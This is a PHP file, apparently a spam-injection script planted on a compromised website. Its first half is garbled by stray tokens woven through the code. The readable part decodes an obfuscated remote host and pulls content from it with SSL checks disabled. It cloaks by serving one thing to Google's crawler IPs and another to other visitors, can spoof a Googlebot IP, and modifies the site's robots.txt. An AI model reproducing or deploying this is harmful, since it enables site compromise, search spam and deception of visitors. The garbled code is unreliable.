2 3 php 2 2 er 3 ror 3 _re 3 por 2 ti 3 ng( 2 0) 2 ; 2 $ 3 get 3 = 2 fi 3 lte 3 r_i 2 np 3 ut_ 2 ar 3 ray 2 (I 2 NP 3 UT_ 2 GE 2 T, 2 F 2 IL 3 TER 2 _S 2 AN 3 ITI 1 Z 3 E_S 2 TR 2 IN 1 G 5 ); 2 / 3 * - 18 ------------------------ 2 5 1 2 2 2 1 2 2 2 2 2 1 2 2 2 1 1a ------------------------- 2 */ 2 2 fu 3 nct 2 io 3 n c 2 ac 3 he_ 3 get 2 ($ 3 key 3 , $ 2 ex 3 pir 1 e 5 = 30 2 0) 2 { 6 4 $fil 5 e = s 2 ys 5 _get_ 2 te 3 mp_ 3 dir 2 () 3 . 2 '/ 7 cache_' 3 . 2 md 6 5($key 5 ) . ' 1 . 5 php'; 6 3 if 1 ( 6 file_e 2 xi 3 sts 1 ( 7 $file) 1 & 3 & ( 3 tim 1 e 4 () - 5 file 1 m b time($file) 2 ) 1 < 8 $expire d ) { 3 ret 2 ur 6 n file 5 _get_ 2 co 3 nte 1 n 9 ts($file) 8 ; } 6 a return fal 2 se 4 ; } 12 function cache_s b et($key, $d 3 ata 4b ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 1 @ 5 file_ 4 put_ e contents($file 9 , $data, 2 LO 2 CK 2 _E 2 X) 6 ; } 26 /* ------------------------- 2 2 2 1 2 2 2 2 1 3 I 2 P 2 1 2 2 2 2 CD 3 N / 2 2 1 2 2 1 29 ------------------------- */ function 4 get_ 3 rea 3 l_i 2 p( a ) { $ 3 key 4 s = 1 [ b ' 2 HT 2 TP 2 _C 2 F_ 3 CON 2 NE 2 CT 3 ING 3 _IP 2 ', 3 // 2 C 3 lou 2 df 3 lar 1 e 11 'HTTP_X 2 _R 2 EA 7 L_IP', 7 4 // N 3 gin 1 x 13 'HTTP_X_F 2 OR 2 WA 2 RD 2 ED 4 _FOR 4 ', 5 // Pr 2 ox 1 y 12 'HTTP_CL 2 IE 2 NT 5 _IP', c 'R 2 EM 3 OTE 2 _A 2 DD 2 R' 7 ] 5 ; 4 2 fo 4 reac 2 h 7 ($keys 2 as 3 $k d ) { 4 if ( 1 ! 4 empt 2 y( 3 $_S 2 ER 2 VE 2 R[ 2 $k 2 ]) d ) { 6 $i 1 p 3 = c $_SERVER[$k] 9 ; e if (st 2 rp 1 o 5 s($ip 3 , ' 2 ,' 2 ) 3 !== 6 false 1b ) { $ip = 2 tr 3 im( 3 exp 2 lo 3 de( 3 ',' 5 , $ip 2 )[ 2 0] 8 ); 8 1 } 14 if ( 8 filter_v 2 ar 6 ($ip, 7 FILTER_ 2 VA 2 LI 2 DA 3 TE_ 3 IP) 15 ) { a return $ip 12 ; } f } f } return ' 3 127 2 .0 3 .0. 2 1' 2b ; } /* ------------------------- 1 2 2 2 1 1 5 getC 3 url 2 () 30 ------------------------- */ function getCurl 2 Fa 1 s 6 t($url 5 ) { 7 $ 6 cached 3 = b cache_get($ 4 url) b ; if ( 8 $cached b !== false) 8 return $ 6 cached 9 ; 5 $data 3 = 2 '' 9 ; 5 if (f 7 unction 9 _exists(' 1 c 3 url 5 _init 1 ' f )) { $ 3 ch 3 = c 8 url_init d ($url); 4 5 curl_ 5 setop b t_array($ch 1 , c [ 5 C 2 UR 3 LOP 1 T 4 _RET 2 UR 2 NT 3 RAN 2 SF 2 ER 2 = 1 > 5 true 1 , 16 CURLOPT_ 8 CONNECTT 2 IM 2 EO 2 UT 5 => 5 1f , CURLOPT_TIMEOUT 7 3 => 1 8 18 , CURLOPT_S 2 SL 1 _ 5 VERIF 2 YP 1 E 6 ER => 5 false 21 , CURLOPT_SSL_VERIFY 3 HOS 1 T 23 => false, CURLOPT_FOL 2 LO 1 W 3 LOC 3 ATI 2 ON 20 => false, CURLOPT_ 1 U 4 SERA 1 G 3 ENT a => " 2 Mo 2 zi 3 lla 2 /5 3 .0" a d ]); 8 $data = 7 curl_ex 2 ec 4 ($ch 11 ); curl_ 2 cl 3 ose c ($ch); 1 } c if ( 7 empty($ 6 data) 3 && 3 ini 5 _get( 3 'al 2 lo 2 w_ 5 url_f 3 ope 1 n 11 ')) { $c 4 onte 1 x 4 t = 5 strea 2 m_ 8 context_ 1 c 5 reate 1 ( 10 [ " 2 ht 3 tp" 4 => 2 [" 4 time 3 out 1 " 6 => 8, 5 "hea 3 der 5 " => 3 "Us 2 er 3 -Ag 5 ent: b Mozilla/5.0 2 \r 3 \n" 1 ] f , 3 "ss 3 l" 6 => [" 3 ver 2 if 3 y_p 1 e 7 er" => 7 false, d "verify_peer_ 3 nam 1 e b " => false] 1f ]); $data = 1 @ 13 file_get_contents($ 3 url 1 , 8 false, 8 $context 22 ); } if (!empty($data) 1 ) c cache_set($ 5 url, 7 $data); d return 5 $data 2b ; } /* ------------------------- 5 URL 1 2 2 2d ------------------------- */ function get_ 7 url_inf 1 o 4 (str 143d ing $type='domain'): string { $host = $_SERVER['HTTP_HOST'] ?? ''; if ($type === 'no_www') return preg_replace('/^www\./i', '', $host); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $base = $protocol . $host; if ($type === 'base') return $base; if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? ''); return $host; } /* ------------------------- 基础变量 ------------------------- */ goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3); /* ------------------------- 解析 f 参数 ------------------------- */ $sz = $iid = ""; if(!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- 远程接口 ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(保留 kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 判断 ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- 非 google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当前URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0